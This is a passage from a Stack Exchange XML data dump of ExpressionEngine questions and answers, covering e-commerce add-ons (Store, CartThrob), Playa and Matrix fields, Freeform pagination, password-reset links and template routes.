hours=&quot;0&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will delete all entries from channel with the id 9 which are more than 2 days old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run this automatically, you could try using a CRON job run wget as described here: &lt;a href=&quot;https://stackoverflow.com/a/13259564/1013978&quot;&gt;https://stackoverflow.com/a/13259564/1013978&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-08-21T11:30:26.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25234" PostTypeId="2" ParentId="25204" CreationDate="2014-08-21T11:33:34.907" Score="1" Body="&lt;p&gt;The tag {order_discount} should give you the amount of money that's being discounted from the customers cart?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will be formatted for currency, if you just want it as a numeric value, simply use {order_discount_val}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;{order_subtotal} (The amount before the discount)&lt;/li&gt;&#xA;&lt;li&gt;{order_discount} (The amount of the discount being applied)&lt;/li&gt;&#xA;&lt;li&gt;{order_total} (The total after the discount has been applied and after tax/shipping).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or have I misinterpreted the question?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-08-21T11:33:34.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25235" PostTypeId="2" ParentId="25226" CreationDate="2014-08-21T12:07:37.257" Score="1" Body="&lt;p&gt;You can save templates as files in Core.&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2014-08-21T12:07:37.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25236" PostTypeId="2" ParentId="25231" CreationDate="2014-08-21T12:08:20.907" Score="1" Body="&lt;p&gt;Make sure that you have cleared your cart to reset the session which should then reset the &lt;code&gt;{order_discount}&lt;/code&gt; tag&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-08-21T12:08:20.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25237" PostTypeId="2" ParentId="25225" CreationDate="2014-08-21T12:26:45.010" Score="1" Body="&lt;p&gt;Usually additional gateways are sponsored before they are developed so you could talk to them about sponsoring the creation of the new gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.exp-resso.com/docs/store_20_upgrade_notes.html#payments_library&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; also mention that Store 2 payment library was rewritten and that not all gateways are supported.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Most officially supported gateways have been included, but any&#xA;  third-party gateways will need to be rewritten in the new format.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Having said that Store uses &lt;a href=&quot;https://github.com/omnipay/omnipay&quot; rel=&quot;nofollow&quot;&gt;Omnipay&lt;/a&gt; which is an open source payment library so you could easily develop your own Rabo Omnikassa gateway using their &lt;a href=&quot;https://www.rabobank.nl/bedrijven/producten/betalen_en_ontvangen/alle_producten/rabo_omnikassa/&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt;. You can look at the included gateways to see how the payment gateway should be structured. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all else fails they do have a have a return period, and would probably make an exception if you have passed that threshold. &lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-08-21T15:24:48.210" LastActivityDate="2014-08-21T15:24:48.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25238" PostTypeId="2" ParentId="19775" CreationDate="2014-08-21T12:28:37.020" Score="0" Body="&lt;p&gt;The developer updated the addon to version 3.06 in April and this is working for me on EE 2.9.0&#xA;&lt;a href=&quot;http://mightybigrobot.com/products/detail/geotagger&quot; rel=&quot;nofollow&quot;&gt;http://mightybigrobot.com/products/detail/geotagger&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2014-08-21T12:28:37.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25239" PostTypeId="1" AcceptedAnswerId="25303" CreationDate="2014-08-21T12:34:16.837" Score="2" ViewCount="63" Body="&lt;p&gt;I have articles related to products (set up with Playa), and then some articles are not related to any product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get all the articles where the Playa-field is empty?&lt;/p&gt;&#xA;" OwnerUserId="1990" LastActivityDate="2014-08-25T19:40:14.550" Title="Playa - get all entries where playa is empty" Tags="|playa|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25240" PostTypeId="1" CreationDate="2014-08-21T13:04:10.523" Score="0" ViewCount="45" Body="&lt;p&gt;I have a MSM install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I save an entry for 25.00 it saves as 2500. The other issue is the price for Product Options changes to +5 instead of 5.00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a settings configuration for store? It currently has 2 decimal places etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have store installed on the subdomain store.domain.com and the channel is in the www.domain.com because I will need to share the channel info. &lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-09-18T08:41:36.860" Title="MSM and Store Product Price isn't saving" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25242" PostTypeId="1" CreationDate="2014-08-21T14:30:43.600" Score="0" ViewCount="44" Body="&lt;p&gt;I am using the Low Search plugin to allow visitors to my site to search for content, however I require that categories appear in the search results as well as entries. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2912" LastActivityDate="2014-08-22T09:09:05.687" Title="Is there a way to for categories to appear in search results" Tags="|search|low-search|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25244" PostTypeId="1" CreationDate="2014-08-21T14:34:31.560" Score="1" ViewCount="70" Body="&lt;p&gt;I want to add an extension to wygwam that allows me to add my own customized dropdown to the toolbar with different css styles. No idea where to start. I want simple styles for pull-quotes and lists. Does anyone have an example of what they have done to achieve this. &lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2014-08-21T14:34:31.560" Title="How do I add custom styles to Wygwam using a hook?" Tags="|wygwam|config|hook|wysiwyg|ckeditor|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25245" PostTypeId="1" AcceptedAnswerId="25249" CreationDate="2014-08-21T14:35:22.397" Score="0" ViewCount="20" Body="&lt;p&gt;Is there any out of the box way to change error language for the front end of Store, i.e. &quot;expiry&quot; to &quot;expiration&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-08-21T15:41:05.967" Title="Changing error language in Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25246" PostTypeId="1" CreationDate="2014-08-21T14:45:36.813" Score="0" ViewCount="108" Body="&lt;p&gt;I want to use freeform pro entries tag to list all attendees. But seems to be a problem to combine freeform:paginate together with a table. I need to loop around the 'TR' tag.&#xA;It shows the paginate links well, but both top and bottom links are above my table. I tried the variable pair {freeform:all_form_fields} but this doesn't work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who nows a solution here?&#xA;Thank you.&#xA;Pixelman.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;              &amp;lt;table&amp;gt;&#xA;                &amp;lt;thead&amp;gt;&#xA;                  &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th width=&quot;200&quot;&amp;gt;Name&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Forum Account&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th width=&quot;&quot;&amp;gt;Company&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th width=&quot;&quot;&amp;gt;Job title&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th width=&quot;&quot;&amp;gt;Country&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th width=&quot;&quot;&amp;gt;Type&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th width=&quot;&quot;&amp;gt;Show&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;!-- &amp;lt;th width=&quot;&quot;&amp;gt;confirmed&amp;lt;/th&amp;gt; --&amp;gt;&#xA;                  &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;/thead&amp;gt;&#xA;                &amp;lt;tbody&amp;gt;&#xA;{exp:freeform:entries form_name=&quot;regtest&quot; sort=&quot;asc&quot; orderby=&quot;last_name&quot; limit=&quot;100&quot; paginate=&quot;top&quot; search:listings=&quot;not Don't share my details&quot; search:confirmed=&quot;y&quot;}&#xA;                  &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{freeform:field:first_name} {freeform:field:last_name}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;{freeform:field:mibusouser}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{freeform:field:company}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{freeform:field:jobtitle}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{freeform:field:country}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{freeform:field:registrartype}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{freeform:field:listings}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;!-- &amp;lt;td&amp;gt;{freeform:field:confirmed}&amp;lt;/td&amp;gt; --&amp;gt;&#xA;                  &amp;lt;/tr&amp;gt;&#xA;                  {freeform:paginate}&#xA;                  &amp;lt;p&amp;gt;&#xA;                    Page {freeform:current_page} of {freeform:total_pages} pages &amp;amp;nbsp; {freeform:pagination_links}&#xA;                  &amp;lt;/p&amp;gt;&#xA;                  {/freeform:paginate}&#xA;{/exp:freeform:entries}&#xA;                &amp;lt;/tbody&amp;gt;&#xA;              &amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-06-04T17:48:06.383" Title="freeform pro paginate problem" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25247" PostTypeId="1" CreationDate="2014-08-21T14:46:18.363" Score="1" ViewCount="348" Body="&lt;p&gt;Anybody have an answer? I am trying to do this in EE 2.6, but the matrix fields don't display. I have a channel (fruit) with a relationship field to another channel. That channel (kinds) has a matrix field called locations. Inside of locations is a column called state. I'm trying to get a list of states to display.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;fruit&quot; limit=&quot;1&quot;}&#xA;&#xA;{related-entry-kinds} &amp;lt;-- name of field inside of fruit channel&#xA;&#xA;{related-entry-kinds:title} &amp;lt;-- this displays fine&#xA;&#xA;{related-entry-kinds:locations} &amp;lt;--name of matrix field&#xA;&#xA;{related-entry-kinds:locations:state} &amp;lt;--doesn't render&#xA;&#xA;{/related-entry-kinds:locations}&#xA;&#xA;{/related-entry-kinds}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3500" LastEditorDisplayName="user3901" LastEditDate="2015-02-18T14:45:12.273" LastActivityDate="2015-03-20T18:26:36.640" Title="How do I display matrix fields inside of a relationship field (channel entry)?" Tags="|channel-entries|matrix|relationships|multiple-channels|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25248" PostTypeId="2" ParentId="25230" CreationDate="2014-08-21T15:17:55.240" Score="1" Body="&lt;p&gt;Try using the search tag instead of the conditional. (Make sure the field is set to searchable in the field settings)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;1&quot; status=&quot;open&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields|member_data|trackbacks&quot; search:calendar_add=&quot;Yes&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could move the pagination links outside of the conditional so it showed all the time but that would show blank pages if an entry was not marked yes. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-08-21T15:17:55.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25249" PostTypeId="2" ParentId="25245" CreationDate="2014-08-21T15:30:18.183" Score="1" Body="&lt;p&gt;You can modify the store/language/English/lang_store.php file or if you are just wanting to modify error messages you can do something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if error:field_name}Your custom error message here{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-08-21T15:41:05.967" LastActivityDate="2014-08-21T15:41:05.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25250" PostTypeId="2" ParentId="25113" CreationDate="2014-08-21T16:05:27.197" Score="1" Body="&lt;p&gt;To get this working correctly I had to step back with version of jQuery I was running on that page. The calendar module comes with jQuery 1.3 referenced. I was able to get as high as jQuery 1.7.1 and have it work correctly, but if I went to the current release of 1.11.1, the calendar date selector does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to the calendar not working in Firefox, it was a permissions issue. I used logmein and set the group correctly and it appears fine.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-08-21T16:05:27.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25252" PostTypeId="1" AcceptedAnswerId="25253" CreationDate="2014-08-21T17:12:22.337" Score="0" ViewCount="142" Body="&lt;p&gt;On a site running EE 2.7.2 there is a problem with resetting passwords from the auto-generated reset link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user clicks on &lt;strong&gt;Forgot your password?&lt;/strong&gt; at the login screen and submits their email address, an email with the following link is generated:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://sitexyz.com/index.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=reset_password&amp;amp;resetcode=KJ82wnTS&quot; rel=&quot;nofollow&quot;&gt;http://sitexyz.com/index.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=reset_password&amp;amp;resetcode=KJ82wnTS&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, when you click on that link it takes you to the home page instead of the password reset page. Any clues why this is happening and what the solution is?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-09-11T21:15:43.720" Title="Trouble with resetting passwords" Tags="|password|forgot-password|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25253" PostTypeId="2" ParentId="25252" CreationDate="2014-08-21T17:24:17.997" Score="0" Body="&lt;p&gt;The problem was the CP Url in the config file. It had the CP as index.php instead of admin.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem solved.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-08-21T17:24:17.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25254" PostTypeId="1" CreationDate="2014-08-21T18:50:11.280" Score="1" ViewCount="41" Body="&lt;p&gt;Is it possible to make the screen name first name and last initial instead of last name? I want the member list and public profile pages to just have last initial.&lt;/p&gt;&#xA;" OwnerUserId="3501" LastActivityDate="2014-08-21T18:50:11.280" Title="Zoo Visitor Screen Name" Tags="|add-on|zoo-visitor|member-details|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25255" PostTypeId="1" CreationDate="2014-08-21T18:54:02.727" Score="0" ViewCount="146" Body="&lt;p&gt;I'm trying to secure a form submission, but can't get it to work. I have SSL installed, I have the csrf_protection enabled on my ExpressionEngine config file, and have secure_action and secure_return set to yes in my exp:free:composer tag. Not sure what else I'm supposed to do. If I go directly to the form page and add https://, it works. But when there's any other link to that page from my site, it goes to the non-secure version. My understanding is that the secure form would load if I added the secure_action variable in the tag. Is this the wrong way?&lt;/p&gt;&#xA;" OwnerUserId="3092" LastActivityDate="2015-03-20T10:21:26.750" Title="Securing Form Submissions with FreeformPro" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25256" PostTypeId="2" ParentId="20765" CreationDate="2014-08-21T18:57:57.063" Score="0" Body="&lt;p&gt;Similar error for me. When selecting the report tab in the CartThrob CP the error is &quot;Unknown column 'status' in 'where clause'&quot; Checking the tables &lt;strong&gt;exp_templates&lt;/strong&gt; and &lt;strong&gt;exp_template_groups&lt;/strong&gt; and there is not a column in either table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unknown column 'status' in 'where clause'&#xA;&#xA;SELECT `template_id`, `template_name`, `group_name` FROM (`exp_templates`) JOIN `exp_template_groups` ON `exp_templates`.`group_id` = `exp_template_groups`.`group_id` WHERE `status` NOT IN ('closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed') AND `status` NOT IN ('closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed') AND `status` NOT IN ('closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed') AND `exp_templates`.`site_id` = '1' ORDER BY `group_name`, `template_name`&#xA;&#xA;Filename: models/template_model.php&#xA;&#xA;Line Number: 818&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not about to modify line 818 of a EE file. Might if it was a cartthrob file. Accessing templates works just fine via EE Design tabs.&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2014-08-21T18:57:57.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25257" PostTypeId="2" ParentId="25247" CreationDate="2014-08-21T19:32:55.993" Score="2" Body="&lt;p&gt;Matrix doesn't do the inheritance like that. Just simply used the fields as you would a regular matrix field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;fruit&quot; limit=&quot;1&quot;}&#xA;&#xA;   {related-entry-kinds} &amp;lt;-- name of field inside of fruit channel&#xA;&#xA;      {related-entry-kinds:title} &amp;lt;-- this displays fine&#xA;&#xA;      {related-entry-kinds:locations} &amp;lt;--name of matrix field&#xA;&#xA;         {state}&#xA;&#xA;      {/related-entry-kinds:locations}&#xA;&#xA;   {/related-entry-kinds}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are paranoid, you can use the var_prefix parameter (check it out on &lt;a href=&quot;https://docs.pixelandtonic.com/matrix/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). They do something similar but with playa. It should work the same for relationships&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-21T19:32:55.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25258" PostTypeId="1" AcceptedAnswerId="25260" CreationDate="2014-08-21T19:40:30.927" Score="0" ViewCount="63" Body="&lt;p&gt;Just installed CT 2.6 onto a EE 2.9/0 site to quickly check out the Price Modifiers Configurator FieldType and ran into some trouble. In CartThrob' section of the CP, I cannot access the Products and Reports tabs in a normal way.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Products tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Products tab does not display properly. Looks like the style sheet is gone and many of EE's CP controls are gone. And the page display several PHP Warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First one&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /chroot/home/brighto1/brightorangethread.com/html/ZZiPQdPOmvcCaY/expressionengine/third_party/cartthrob/views/settings_form.php:80)&#xA;&#xA;Filename: core/Common.php&#xA;&#xA;Line Number: 446&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second one&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Warning&#xA;&#xA;Message: Invalid argument supplied for foreach()&#xA;&#xA;Filename: helpers/form_helper.php&#xA;&#xA;Line Number: 324&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Report tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing displays. I just get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column 'status' in 'where clause'&#xA;&#xA;SELECT `template_id`, `template_name`, `group_name` FROM (`exp_templates`) JOIN `exp_template_groups` ON `exp_templates`.`group_id` = `exp_template_groups`.`group_id` WHERE `status` NOT IN ('closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed') AND `status` NOT IN ('closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed') AND `status` NOT IN ('closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed') AND `exp_templates`.`site_id` = '1' ORDER BY `group_name`, `template_name`&#xA;&#xA;Filename: models/template_model.php&#xA;&#xA;Line Number: 818&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Checking the tables exp_templates and exp_template_groups and there is not a column in either table. Which seems &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/20765/cartthrob-database-error/25256#25256&quot;&gt;similar to this issue&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="646" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-08-21T20:46:04.693" Title="CT 2.6 not working with EE 2.9.0?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25259" PostTypeId="1" CreationDate="2014-08-21T20:23:56.400" Score="0" ViewCount="70" Body="&lt;p&gt;I have a custom URL member field - &quot;Twitterhandle&quot; that contains a link to the member's twitter page. I use the field on single entry template page, within the channel entries tag with the following html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href= &quot;{Twitterhandle}&quot;&amp;gt;&#xA;    &amp;lt;img src= &quot;/images/blog/twitter%20teal.png&quot; width= &quot;24px&quot; height=&quot;24px&quot;&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The goal is to have a clickable image. I have turned off &quot;Automatically turn URLs and Email Addresses into Links&quot; feature for the Channel, but the link still displays the full text of the url and then the image, not as a clickable image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why this is happening and how I can get the result I'm looking for?&lt;/p&gt;&#xA;" OwnerUserId="3502" LastEditorUserId="28" LastEditDate="2014-08-22T16:08:42.773" LastActivityDate="2016-05-29T10:37:52.793" Title="External links still display wrong after turned off the &quot;Automatically turn URLs into links&quot; feature" Tags="|channel-entries|members|url|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25260" PostTypeId="2" ParentId="25258" CreationDate="2014-08-21T20:46:04.693" Score="1" Body="&lt;p&gt;Have you installed the products channel and orders channel? It can be installed from the settings. &lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-21T20:46:04.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25261" PostTypeId="2" ParentId="25240" CreationDate="2014-08-21T21:04:51.183" Score="1" Body="&lt;p&gt;Just to explain why this happens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will occur if you have Store installed on one site in MSM and use the fieldtype in another Site. The fieldtype doesn't have any settings for that site and no configuration options like decimal points, etc exist. Store requires that it be installed on each installation of an MSM site.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-08-21T21:04:51.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25262" PostTypeId="1" CreationDate="2014-08-21T23:17:53.367" Score="0" ViewCount="83" Body="&lt;p&gt;The below code is parsing the Title &amp;amp; ENTRY ID variables but not the categories pair. The Playa documentation says it supports &quot;nearly all&quot; variables etc for the EE Channel Entries module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;log_skill&quot;}&#xA;                            &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{entry_id}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{categories}{category_name}{/categories}&amp;lt;/p&amp;gt;&#xA;                        {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2016-05-27T10:56:09.943" Title="Does Playa Children tag support the Categories variable pair from EE Channel Entries module" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25263" PostTypeId="2" ParentId="18662" CreationDate="2014-08-22T00:00:32.847" Score="1" Body="&lt;p&gt;I had the same problem upgrading from 2.7.2 to 2.9.0.  My upgrade was pretty basic, and I followed the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/update.html&quot; rel=&quot;nofollow&quot;&gt;instructions on the EE website&lt;/a&gt; to a &quot;T&quot; (not to mention this is my um-teenth upgrade and have been using EE for years).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the v2.9.0 &quot;installer&quot; directory back (the one I had just deleted after the upgrade) and re-visited admin.php.  I just clicked the &quot;next&quot; button and went through the process again.  The message went away.  Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1529" LastActivityDate="2014-08-22T00:00:32.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25264" PostTypeId="2" ParentId="25262" CreationDate="2014-08-22T00:06:32.987" Score="0" Body="&lt;p&gt;Discovered the answer on this post : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9756/categories-not-appearing-in-playachildren&quot;&gt;Categories not appearing in playa:children&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Playa disables categories by default so you need to explicitly name them.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-08-22T00:06:32.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25265" PostTypeId="1" CreationDate="2014-08-22T01:53:06.527" Score="1" ViewCount="154" Body="&lt;p&gt;I'm tying to figure out how to use the new core &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/template_routes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Route&lt;/a&gt; feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following templates:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;gear.group/brand.html&lt;/li&gt;&#xA;&lt;li&gt;gear.group/brand_entry.html&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have the following urls:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/gear/brand/orange/&lt;/li&gt;&#xA;&lt;li&gt;/gear/brand/orange/P20&lt;/li&gt;&#xA;&lt;li&gt;/gear/brand/orange/my_entry_title&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: segment_3 or orange in this case could be any category and should be considered dynamic&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to have one template for the first two urls above and another one for the entry itself. I tried routes in the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/design/templates/template_route_manager.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Route Manager&lt;/a&gt; like you see in the image below though, without success:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/42DrK.png&quot; alt=&quot;template routes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/hdni0282fbfzfg5/Screenshot%202014-08-21%2018.20.36.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;[full image]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or I could use one template instead of two and a conditional of some sort though, I'm not sure how at this point.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2015-07-10T18:59:38.173" Title="Help using core Template Route and Template Route Manager w/ pagination" Tags="|url|template-routes|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
